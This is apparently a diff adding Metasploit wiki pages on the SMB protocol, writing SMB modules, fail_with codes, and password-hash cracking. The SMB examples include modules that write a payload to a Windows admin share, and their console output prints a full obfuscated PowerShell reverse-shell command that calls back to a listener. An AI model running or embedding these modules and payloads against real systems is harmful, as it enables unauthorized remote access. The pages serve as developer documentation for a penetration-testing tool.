protocol transports: +* NetBIOS + - over TCP/IP (NBT) on 137/UDP, 138/UDP, 137/TCP and 139/TCP + - over NetBEUI +* Directly over TCP on 445/TCP (by far the most commonly used) + +[CIFS](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/d416ff7c-c536-406e-a951-4f04b2fd1d2b) is a particular implementation of SMB created by Microsoft based on the original IBM specifications. It has been replaced by [SMB v1.0](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb/f210069c-7086-4dc2-885e-861d837df688), which is a Microsoft Extensions to MS-CIFS. + +[SMB2](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962) is a complete rewrite of the protocol which primarily aims to reduce the amount of messages exchanged between the client and the server. SMB v2.0 has been introduced in Windows Vista/Server 2008. It also brings some new features such as: +* Pipelining +* Symbolic links +* Large file transfers improvement +* Better signing +* New opportunistic locking mechanism + +SMB v2.1 was added to Windows 7/Server 2008 R2 with a few improvements: +* Minor performance enhancements +* New opportunistic locking mechanism + +[SMB3](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962) adds some interesting features and has been introduced in Windows 8/Server 2012. Here are some new capabilities added by the SMB v3.0 dialect: +* SMB Direct (SMB over remote direct memory access - RDMA) +* SMB Multichannel (multiple connections per SMB session) +* SMB Transparent Failover (useful for clustered file server) +* Per-share encryption (AES-128 CCM) and AES-based signing + +SMB v3.0.2 (from Windows 8.1/Server 2012 R2) only adds some small improvements. Finally, SMB v3.1.1 (from Windows 10/Server 2016) introduces the following features: +* Negotiation of encryption and integrity algorithms +* AES-128 GCM encryption +* Pre-authentication integrity check (SHA-512) +* Compression + +## Common SMB Packet Exchange Scenarios + +1. **NetBIOS session establishment** +This step is only required if NetBIOS over TCP (NBT) transport is used. This is not very common anymore, since SMB over TCP (from windows 2000) removed the NetBIOS transport layer. In case a NetBIOS session needs to be established, this must be the first packet exchange. + +2. **Negotiation** +This is where the SMB protocol version and dialect are going to be negotiated between the client and the server. From SMB v3.1.1, encryption/compression capabilities are also negotiated at the same time. + +3. **Authentication** +Depending on the authentication scheme, this step requires one or two packet exchanges. NTLM challenge-response, the only authentication protocol supported by RubySMB at time of writing, consists of sending first a Session Setup packet containing the client capabilities. The server responds with a challenge. Then, another Session Setup request is sent with the challenge response. If it is accepted, the server returns a Session ID that will be used in subsequent requests. This defines the beginning of an SMB Session. + +
+ Negotiation & Authentication +
Fig.1 - Negotiation & authentication packet exchanges
+
+ +4. **Connect to a share** +Once the SMB session is established, the SMB client must connect to a remote share.This is done by sending a TreeConnect request and getting a Tree ID. This identifier will be used by subsequent file operations on this share. + +5. **File operation** +From there, the client can execute any file operation on the remote share, such as open, read, write, delete, rename, etc. When the client is done with a file, it can simply close the handle. The Tree ID remains valid and can be reused. + +
+ Connect to share and read file +
Fig.2 - Connect to share & read file packet exchanges
+
+ +6. **Close tree and session** +The client can decide to release the connection to the share at any time by sending a TreeDisconnect request. Note that the SMB session will remain active until the client sends a Logoff packet, which defines the end of the SMB Session. + +## Module Writing + +### Using the default MSF client + +The following mixin will bring everything you need, including the main MSF SMB Client. +```ruby +include Msf::Exploit::Remote::SMB::Client::Authenticated +``` + +Following the same workflow described above: +1. **Initialization** + +The first step is to initialize the client by invoking `connect`. The version(s) that will be negotiated can also be set up by passing an array to the keyword arguments versions. For example, to negotiate any dialect of SMB version 2 and 3, use this: +```ruby +connect(versions: [2, 3]) +``` +The default is to negotiate versions 1, 2 and 3. Note that the client will just let the SMB server know which versions and dialects it supports. The server will always choose the latest version it supports. This means, Windows 7 will always choose SMB v2.1 (SMB3 has been added to Windows 8 only), even if versions 1, 2 and 3 are advertised by the client. If SMB2 is disabled on this host for whatever reason, the SMB server will fall back to SMB1. By choosing which versions the client must negotiate, you can force the server to use a specific protocol version, assuming it is supported and enabled. +From Metasploit 6, the MSF client uses RubySMB under the hood by default for any SMB protocol version. For compatibility with older modules, it is still possible to force the client to use the original Rex SMB implementation. Note that this is **not recommended** and RubySMB should be the default for new modules. This can be done by explicitly negotiate SMB1 only (Rex only supports this version): +```ruby +connect(versions: [1]) +``` + +2. **NetBIOS session, negotiation and authentication** + +The actual negotiation and authentication are handled by `smb_login`. This retrieves the NetBIOS name, user name, password and domain from the `SMBName`, `SMBUser`, `SMBPass` and `SMBDomain` options set by the operator, respectively. Other options can be set and are defined in [MSF SMB client](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/msf/core/exploit/remote/smb/client.rb). Under the hood, `smb_login` establishes the NetBIOS session (if needed), negotiates the protocol version/dialect and sets the SMB Session up using NTLM challenge-response authentication protocol. + +If, for whatever reason, the authentication options cannot be retrieved from the user options, it is still possible to provide them manually by calling `simple.login()` directly (see [SimpleClient#login](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/rex/proto/smb/simple_client.rb#L55)) +```ruby +simple.login(name, user, pass) +``` + +Note that `simple` is the `Rex::Proto::SMB::SimpleClient` object and is accessible anywhere in the module. This is the main interface to interact with RubySMB (more on that later). + +3. **Connect to a share** + +This is done by invoking `simple.connect`: +```ruby +simple.connect("\\\\\\") +``` + +4. **File operations** + +* read a file +```ruby +file_path = 'file/path/relative/to/the/share/root' +file = smb_open(file_path, 'o') +print_status("File content: #{file.read}") +file.close +``` +See [SimpleClient#open](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/rex/proto/smb/simple_client.rb#L189) and [RubySMB::Dispositions](https://github.com/rapid7/ruby_smb/blob/a8af935d1f4b5fb57fc7c13490ca75bdacf032b9/lib/ruby_smb/dispositions.rb) for details about the `smb_open` mode argument. + +* write to a file +```ruby +file = smb_open(file_path, 'co', write: true) +file << "my file data" +file.close +``` + +* delete a file +```ruby +simple.delete(file_path) +``` + +5. **Close the connection to the remote share** + +```ruby +simple.disconnect("\\\\\\") +``` + +Since Metasploit 6, two new options were introduced to control version negotiation and encryption. These options are only available when using the default MSF SMB client and are automatically pulled in with `Msf::Exploit::Remote::SMB::Client` or `Msf::Exploit::Remote::SMB::Client::Authenticated` mixins: +* `SMB::ProtocolVersion`: one or a list of comma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1"). +* `SMB::AlwaysEncrypt`: enforces encryption even if the server does not require it (SMB3.x only). When it is set to false, the SMB client will still encrypt the communication if the server requires it. + +### Using RubySMB client directly + +This mixin is not required but can be useful to expose the SMB related options to the operator: + +```ruby +include Msf::Exploit::Remote::SMB::Client::Authenticated +``` + +An alternative is to register the options we need in `initialize`: + +```ruby +register_options([ + OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), + OptString.new('SMBPass', [ false, 'The password for the specified username', '']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), +]) +``` + +Following the same workflow described above: + +1. **Initialization** + +* setup the dispatcher +```ruby +dispatcher = RubySMB::Dispatcher::Socket.new(sock) +``` +* initialize the client +SMB versions 1, 2 and 3 will be negotiated by default. Use `smb1`, `smb2` and `smb3` keyword arguments to disable a version (`false` value). See [RubySMB::Client#initialize](https://github.com/rapid7/ruby_smb/blob/a8af935d1f4b5fb57fc7c13490ca75bdacf032b9/lib/ruby_smb/client.rb#L281) for more initialization options +```ruby +client = RubySMB::Client.new(dispatcher, username: datastore['SMBUser'], password: datastore['SMBPass'], domain: datastore['SMBDomain']) +``` + +2. **Negotiation** + +```ruby +client.negotiate +``` + +3. **Authentication** + +```ruby +client.authenticate +``` + +4. **Connect to a share** + +```ruby +tree = client.tree_connect(\\\\\\) +``` + +5. **File operations** + +```ruby +file_path = 'file/path/relative/to/the/share/root' +``` + +* read a file (see [RubySMB::SMB1::Tree](https://github.com/rapid7/ruby_smb/blob/a8af935d1f4b5fb57fc7c13490ca75bdacf032b9/lib/ruby_smb/smb1/tree.rb#L83) and [RubySMB::SMB2::Tree](https://github.com/rapid7/ruby_smb/blob/a8af935d1f4b5fb57fc7c13490ca75bdacf032b9/lib/ruby_smb/smb2/tree.rb#L67) for details) +```ruby +file = tree.open_file(filename: file_path) +data = file.read +file.close +``` + +* write to a file +```ruby +file = tree.open_file(filename: file_path, write: true, disposition: RubySMB::Dispositions::FILE_OPEN_IF) +file.write(data: 'my data') +file.close +``` + +* delete a file +```ruby +file = tree.open_file(filename: file_path, delete: true) +file.delete +file.close +``` + +6. **Close the connection to the remote share** + +```ruby +tree.disconnect! +``` + +7. **Close the SMB session** + +```ruby +client.disconnect! +``` + +## Examples + +### Using the default MSF client + +`modules/exploits/windows/smb/msf_smb_client_test.rb` + +```ruby +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SMB::Client::Authenticated + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MSF SMB Client Test', + 'Description' => %q( + This module simply write, read and delete a file on the remote host + using default MSF SMB client. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Christophe De La Fuente' ], + 'Platform' => 'windows', + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Windows', {} ]], + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } + ) + ) + end + + def exploit + connect + smb_login + + share = "\\\\#{rhost}\\C$" + simple.connect(share) + + file_path = 'Windows\\Temp\\payload.bat' + print_status("Create and write to #{file_path} on #{share} remote share") + file = smb_open(file_path, 'co', write: true) + file << payload.encode + file.close + + print_status("Read #{file_path} on #{share} remote share") + file = smb_open(file_path, 'o') + print_status("File content: #{file.read}") + file.close + + print_status("Delete #{file_path} on #{share} remote share") + simple.delete(file_path) + ensure + simple.disconnect(share) if simple + end +end +``` + +msfconsole output: + +``` +msf6 exploit(windows/smb/msf_smb_client_test) > options + +Module options (exploit/windows/smb/msf_smb_client_test): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 172.16.60.128 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 445 yes The SMB service port (TCP) + SMBDomain . no The Windows domain to use for authentication + SMBPass ABCDEFG no The password for the specified username + SMBUser smbuser no The username to authenticate as + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 172.16.60.1 yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows + + +msf6 exploit(windows/smb/msf_smb_client_test) > run + +[*] Started reverse SSL handler on 172.16.60.1:4444 +[*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share +[*] 172.16.60.128:445 - Read Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share +[*] 172.16.60.128:445 - File content: powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAFzTKl8CA51WXW/bNhR996+48LRaQizCNroOCJBirpJuAbLWqLzlwTAQmrqOtcikR1L+QOL/XlKiLDlO0GV6sUVennvuuR/UTzASG5TznEMItzLVGjnMdvDJ/IxzyVHCO7ika4Q/qEx2rZaxZDoVHH5HHd7ijGUpcg2txxaYx9swuIAvuAm/zv5BpiEc71b4hS7RLGpi7KPCvjImfym8xDnNMx1JTMxOSjNlIDwtczxYjaTY7sgzC7PeWKlsW/ua4qoKrfUIxf6ISrr0y/+TWMuU30+9SCyXlCfd49VYZUzwZ4uXYsMzQZNiNXCYUjBUCpwAS5HkGVqCv/kBlCbpHPzKDYT4L7RnKU/aQbFZnivOZqky8hvJL4zLnfm/JFa1WLAH1IqM2erGWUzfm+f0IFGaSm39Os/FrkvRRcNuyBiutAEs0+GXVPav0ZW4RqnwlPEBupHyl5hHI+eo3f91QPofyIce6be7NgrnulXKp7REurRcS2hiyiwu1gzHml2ZnZKcrZS2S0aDmlJZXIG9wg5Zbip+R+LK1Hf+u97clBR2/UdvbND3EFIFk6Mz33ApNEYodTpPGdX4N83ShNq6i2iWzSh7mAbBC3TIMNcLW7T20FC9pEvQSF4tSB1QU7HJbKdxMp169teWXY+QQc88Tz8/9vZOVORJte1PNG41Qc5EYmv6/HwYR9fXgRX6k7Xx27emOMVGlZMhXmCWgcw5N9ZgZMiVKdA2nIGHfH1u37ht7zOzZjJy2GBiucp1vXnHI7HayfR+ocGPAhj0+r/AnymTQom5hkjIlZCFfASG1qO1VCDROFhjQu74HXf15zQhdlyhX0fX7XXrF3KD/F4vmkVTdW+zbE6q5m1STc6mcGMgrTau88mB59u5Vqc+C3lF2cJwLkEh5YfJUlvVtO3jHw3kgFTRlrOrQgqervlaPGB4tV0ZbZXR+4CyP+7ENynRGcXQMXkuWNwIVmQyICOqF2a187Hzv1O3WaQZ+r6XFj1QHv+GNPHLiu9Crwve0bkAQo7QO8ntlaWPydiE8tol5aaDNSFFiFcu5BrF9Di1VBpobkgVMlfhgJcGz8rKjASr5UkCIKyGbQk++PiuD0/wNddhiQpOiiOoARSCVMBG5B+kADo1yNYS8VBKISe96ZGzButin7AMqfSDlxhcNF9M429bp530n8qnhvlh6zRL5aRxqjOfs1wtDvevG4PuRokyodDFU9+IsRar6ho03xCtw7fDITnuEoTQXT52gHwHT7D+aT8JAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))" +[*] 172.16.60.128:445 - Delete Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share +[*] Exploit completed, but no session was created. +``` + +### Using RubySMB client directly + +`modules/exploits/windows/smb/ruby_smb_client_test.rb` + +```ruby +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Exploit::Remote::Tcp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'RubySMB Client Test', + 'Description' => %q( + This module simply write, read and delete a file on the remote host + using default RubySMB client. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Christophe De La Fuente' ], + 'Platform' => 'windows', + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Windows', {} ]], + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } + ) + ) + + register_options([ + OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), + OptString.new('SMBPass', [ false, 'The password for the specified username', '']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), + ]) + end + + def exploit + sock = connect + dispatcher = RubySMB::Dispatcher::Socket.new(sock) + + client = RubySMB::Client.new(dispatcher, username: datastore['SMBUser'], password: datastore['SMBPass'], domain: datastore['SMBDomain'], always_encrypt: false) + + client.negotiate + client.authenticate + + share = "\\\\#{rhost}\\C$" + tree = client.tree_connect(share) + + file_path = 'Windows\\Temp\\payload.bat' + print_status("Create and write to #{file_path} on #{share} remote share") + file = tree.open_file(filename: file_path, write: true, disposition: RubySMB::Dispositions::FILE_OPEN_IF) + file.write(data: payload.encode) + file.close + + print_status("Read #{file_path} on #{share} remote share") + file = tree.open_file(filename: file_path) + print_status("File content: #{file.read}") + file.close + + print_status("Delete #{file_path} on #{share} remote share") + file = tree.open_file(filename: file_path, delete: true) + file.delete + file.close + + ensure + tree.disconnect! if tree + client.disconnect! if client + end +end +``` + +msfconsole output: + +``` +msf6 exploit(windows/smb/ruby_smb_client_test) > options + +Module options (exploit/windows/smb/ruby_smb_client_test): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 172.16.60.128 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 445 yes The target port (TCP) + SMBDomain . no The Windows domain to use for authentication + SMBPass ABCDEFG no The password for the specified username + SMBUser smbuser no The username to authenticate as + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 172.16.60.1 yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows + + +msf6 exploit(windows/smb/ruby_smb_client_test) > run + +[*] Started reverse SSL handler on 172.16.60.1:4444 +[*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share +[*] 172.16.60.128:445 - Read Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share +[*] 172.16.60.128:445 - File content: powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAA3UKl8CA51WXW/bNhR996+48LRaQizCNroOCJBirpJuAbLWqLzlwTAQmrqOtcikR1L+QOL/XlKiLDlO0GV6sUVennvuuR/UTzASG5TznEMItzLVGjnMdvDJ/IxzyVHCO7ika4Q/qEx2rZaxZDoVHH5HHd7ijGUpcg2txxaYx9swuIAvuAm/zv5BpiEc71b4hS7RLGpi7KPCvjImfym8xDnNMx1JTMxOSjNlIDwtczxYjaTY7sgzC7PeWKlsW/ua4qoKrfUIxf6ISrr0y/+TWMuU30+9SCyXlCfd49VYZUzwZ4uXYsMzQZNiNXCYUjBUCpwAS5HkGVqCv/kBlCbpHPzKDYT4L7RnKU/aQbFZnivOZqky8hvJL4zLnfm/JFa1WLAH1IqM2erGWUzfm+f0IFGaSm39Os/FrkvRRcNuyBiutAEs0+GXVPav0ZW4RqnwlPEBupHyl5hHI+eo3f91QPofyIce6be7NgrnulXKp7REurRcS2hiyiwu1gzHml2ZnZKcrZS2S0aDmlJZXIG9wg5Zbip+R+LK1Hf+u97clBR2/UdvbND3EFIFk6Mz33ApNEYodTpPGdX4N83ShNq6i2iWzSh7mAbBC3TIMNcLW7T20FC9pEvQSF4tSB1QU7HJbKdxMp169teWXY+QQc88Tz8/9vZOVORJte1PNG41Qc5EYmv6/HwYR9fXgRX6k7Xx27emOMVGlZMhXmCWgcw5N9ZgZMiVKdA2nIGHfH1u37ht7zOzZjJy2GBiucp1vXnHI7HayfR+ocGPAhj0+r/AnymTQom5hkjIlZCFfASG1qO1VCDROFhjQu74HXf15zQhdlyhX0fX7XXrF3KD/F4vmkVTdW+zbE6q5m1STc6mcGMgrTau88mB59u5Vqc+C3lF2cJwLkEh5YfJUlvVtO3jHw3kgFTRlrOrQgqervlaPGB4tV0ZbZXR+4CyP+7ENynRGcXQMXkuWNwIVmQyICOqF2a187Hzv1O3WaQZ+r6XFj1QHv+GNPHLiu9Crwve0bkAQo7QO8ntlaWPydiE8tol5aaDNSFFiFcu5BrF9Di1VBpobkgVMlfhgJcGz8rKjASr5UkCIKyGbQk++PiuD0/wNddhiQpOiiOoARSCVMBG5B+kADo1yNYS8VBKISe96ZGzButin7AMqfSDlxhcNF9M429bp530n8qnhvlh6zRL5aRxqjOfs1wtDvevG4PuRokyodDFU9+IsRar6ho03xCtw7fDITnuEoTQXT52gHwHT7D+aT8JAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))" +[*] 172.16.60.128:445 - Delete Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share +[*] Exploit completed, but no session was created. +``` diff --git a/metasploit-framework.wiki/Handling-Module-Failures-with-`fail_with`.md b/metasploit-framework.wiki/Handling-Module-Failures-with-`fail_with`.md new file mode 100644 index 000000000000..9c1670c92f77 --- /dev/null +++ b/metasploit-framework.wiki/Handling-Module-Failures-with-`fail_with`.md @@ -0,0 +1,48 @@ +## On this page +* [Example uses](#example-uses) +* [Comprehensive list of `fail_with` parameters](#comprehensive-list-of-fail_with-parameters) + + +When a module fails, the `fail_with` method provides a standardized way to describe the reason for the failure. The first parameter depends on the cause of the failure. + +## Example uses + +`modules/exploits/osx/local/sudo_password_bypass.rb` fails using `Failure::NotVulnerable` if the `check` method does not indicate that the target is vulnerable: + +```ruby + if check != CheckCode::Vulnerable + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end +``` + +`modules/exploits/multi/http/struts2_namespace_ognl.rb` fails using the `Failure::PayloadFailed` if the target's response does not include a string indicating that the payload successfully executed. Alternatively, if the target responds with an HTTP error, the module invokes `fail_with` using the `Failure::UnexpectedReply` parameter: + +```ruby + if r && r.headers && r.headers['Location'].split('/')[1] == success_string + print_good("Payload successfully dropped and executed.") + elsif r && r.headers['Location'] + vprint_error("RESPONSE: " + r.headers['Location']) + fail_with(Failure::PayloadFailed, "Target did not successfully execute the request") + elsif r && r.code == 400 + fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload") + end +``` + +## Comprehensive list of `fail_with` parameters + +The following are currently used `fail_with` parameters and a brief description of common uses. + +| `fail_with` parameter | Reason for failure | +|--------------------------|-----------------------------------------------------------------------| +| Failure::BadConfig | The user-provided parameters are invalid and must be corrected. | +| Failure::Disconnected | The target closed the connection forcibly. | +| Failure::NoAccess | An attempt to authenticate failed, likely due to invalid credentials. | +| Failure::None | The outcome for the module has already been met, for example a privilege escalation is already in an elevated context) | +| Failure::NoTarget | The specified TARGET or PAYLOAD variables are misconfigured or the target environment is unsupported. | +| Failure::NotFound | A preexisting file or resource on target is missing. | +| Failure::NotVulnerable | The target returned a response indicative of being patched or otherwise mitigated. | +| Failure::PayloadFailed | A return code from payload execution indicates the payload did not execute or terminated unexpectedly. | +| Failure::TimeoutExpired | The target did not respond to the connection request in a timely manner. Check RHOSTS and RPORT, then consider increasing WFSDelay. | +| Failure::UnexpectedReply | The target responded in an entirely unexpected way, and may not be running the vulnerable service at all. | +| Failure::Unknown | An entirely unexpected exception occurred, and the target may not be running the expected services at all. | +| Failure::Unreachable | The host or service is not reachable, often indicated by a refused connection or ICMP "unreachable" message. | \ No newline at end of file diff --git a/metasploit-framework.wiki/Hashes-and-Password-Cracking.md b/metasploit-framework.wiki/Hashes-and-Password-Cracking.md new file mode 100644 index 000000000000..258091904aa5 --- /dev/null +++ b/metasploit-framework.wiki/Hashes-and-Password-Cracking.md @@ -0,0 +1,192 @@ +# Intro + +This article will discuss the various libraries, dependencies, and functionality built in to metasploit for dealing with password hashes, and cracking them. In general, this will not cover storing credentials in the database, which can be read about [here](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners#the-scan-block). Metasploit currently support cracking passwords with [John the Ripper](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/analyze) and [hashcat](https://github.com/rapid7/metasploit-framework/pull/11695). + +# Hashes + +Many modules dump hashes from various software. Anything from the OS: [Windows](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/hashdump.rb), [OSX](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/hashdump.rb), and [Linux](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/hashdump.rb), to applications such as [postgres](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/postgres/postgres_hashdump.rb), and [oracle](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/oracle/oracle_hashdump.rb). Similar, to the [hash-identifier](https://code.google.com/archive/p/hash-identifier/) project, Metasploit includes a library to identify the type of a hash in a standard way. [identify.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes/identify.rb) can be given a hash, and will return the `jtr` type. Metasploit standardizes to [John the Ripper](https://www.openwall.com/john/)'s types. While you may know the hash type being dumped already, using this library will help standardize future changes. + +## Hash Identify Example + +In this first, simple, example we will simply show loading the library and calling its function. +``` +require 'metasploit/framework/hashes/identify' +puts identify_hash "$1$28772684$iEwNOgGugqO9.bIz5sk8k/" +# note, bad hashes return an empty string since nil is not accepted when creating credentials in msf. +puts identify_hash "This_is a Fake Hash" +puts identify_hash "_9G..8147mpcfKT8g0U." +``` +In practice, we receive the following output from this: +``` +msf5 > irb +[*] Starting IRB shell... +[*] You are in the "framework" object + +irb: warn: can't alias jobs from irb_jobs. +>> require 'metasploit/framework/hashes/identify' +=> false +>> puts identify_hash "$1$28772684$iEwNOgGugqO9.bIz5sk8k/" +md5 +=> nil +>> puts identify_hash "This_is a Fake Hash" + +=> nil +>> puts identify_hash "_9G..8147mpcfKT8g0U." +des,bsdi,crypt +``` + +## Crackers + +### Differences Between Hashcat vs JtR +This section will cover the differences between the two crackers. This is not a comparison of speed, or why one may work better in a specific case than another. + +### General Settings + +| Description | JtR | hashcat | +|-----------------|------------------|---------------------| +| session | `--session` | `--session` | +| no logging | `--no-log` | `--logfile-disable` | +| config file | `--config` | (n/a) | +| previous cracks | `--pot` | `--potfile-path` | +| type of hashes | `--format` | `--hash-type` | +| wordlist | `--wordlist` | (last parameter) | +| incremental | `--incremental` | `--increment` | +| rules | `--rules` | `--rules-file` | +| max run time | `--max-run-time` | `--runtime` | +| show results | `--show` | `--show` | + +### Hash Setting + +| Hash | JtR | [hashcat](https://hashcat.net/wiki/doku.php?id=example_hashes) | +|-----------------------------|-------------------------|--------------------| +| List formats | `john --list=formats` `john --list=format-all-details` | `hashcat -h` | +| | | | +| cram-md5 | hmac-md5 | 10200 | +| des | descrypt | 1500 | +| md5 (crypt is $1$) | md5crypt | 500 | +| sha1 | | 100 | +| bsdi | bsdicrypt | 12400 | +| sha256 | sha256crypt | 7400 | +| sha512 | sha512crypt | 1800 | +| blowfish | bcrypt | 3200 | +| lanman | lm | 3000 | +| NTLM | nt | 1000 | +| mssql (05) | mssql | 131 | +| mssql12 | mssql12 | 1731 | +| mssql (2012/2014) | mssql05 | 132 | +| oracle (10) | oracle | 3100 | +| oracle 11 | oracle11 | 112 | +| oracle 12 | oracle12c | 12300 | +| postgres | dynamic_1034 | 12 | +| mysql | mysql | 200 | +| mysql-sha1 | mysql-sha1 | 300 | +| sha512($p.$s) - vmware ldap | dynamic_82 | 1710 | +| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) | +| NetNTLMv1 | netntlm | 5500 | +| NetNTLMv2 | netntlmv2 | 5600 | + +While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat. + +### Cracker Modes + +Each crack mode is a set of rules which apply to that specific mode. The idea being any optimizations can be applied to that mode, and reset on other modes. These modes include: + + * [Incremental](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L188) + * [Wordlist](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L206) + * [Pin (mobile devices - hashcat specific)](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L222) + * [Normal (jtr specific)](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L234) + * [Single (jtr specific)](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L250) + +### Hashcat Optimized Kernel + +Hashcat contains a `-O` flag which uses an optimized kernel. From internal testing it looks to be >200% faster, with a password length tradeoff. For more information see + +### Exporting Passwords and Hashes + +Hashes can be exported to three different file formats by using the `creds` command and specifying an output file with the `-o` option. When the file ends in `.jtr` or `.hcat` the John the Ripper or Hashcat formats will be used respectively. Any other file suffix will result in the data being exported in a CSV format. + +**Warning:** When exporting in either the John the Ripper or Hashcat formats, any hashes that can not be handled by the formatter will be omitted. See the [Adding a New Hash](#Adding-a-New-Hash) section for details on updating the formatters. + +Exported hashes can be filtered by a few fields like the username, and realm. One additional useful field is the hash type which can be specified with the `-t/--type` option. The type can be `password`, `ntlm`, `hash` or any of the John the Ripper format names such as `netntlmv2`. + +Example to export all NetNTLMv2 secrets for the WORKGROUP realm for use with John the Ripper: `creds --realm WORKGROUP --type netntlmv2 -o /path/to/netntlmv2_hashes.jtr` + +# Example Hashes + +Hashcat +* [hashcat.net](https://hashcat.net/wiki/doku.php?id=example_hashes) + +JtR +* [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats) +* [openwall.info](https://openwall.info/wiki/john/sample-hashes) + +For testing Hashcat/JtR integration, this is a common list of commands to import example hashes of many different types. When possible the username is separated by an underscore, and anything after it is the password. For example `des_password`, the password for the hash is `password`: + +``` +creds add user:des_password hash:rEK1ecacw.7.c jtr:des +creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5 +creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi +creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256,crypt +creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512,crypt +creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf +creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C jtr:lm +creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt +creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05 +creds add user:mssql_foo 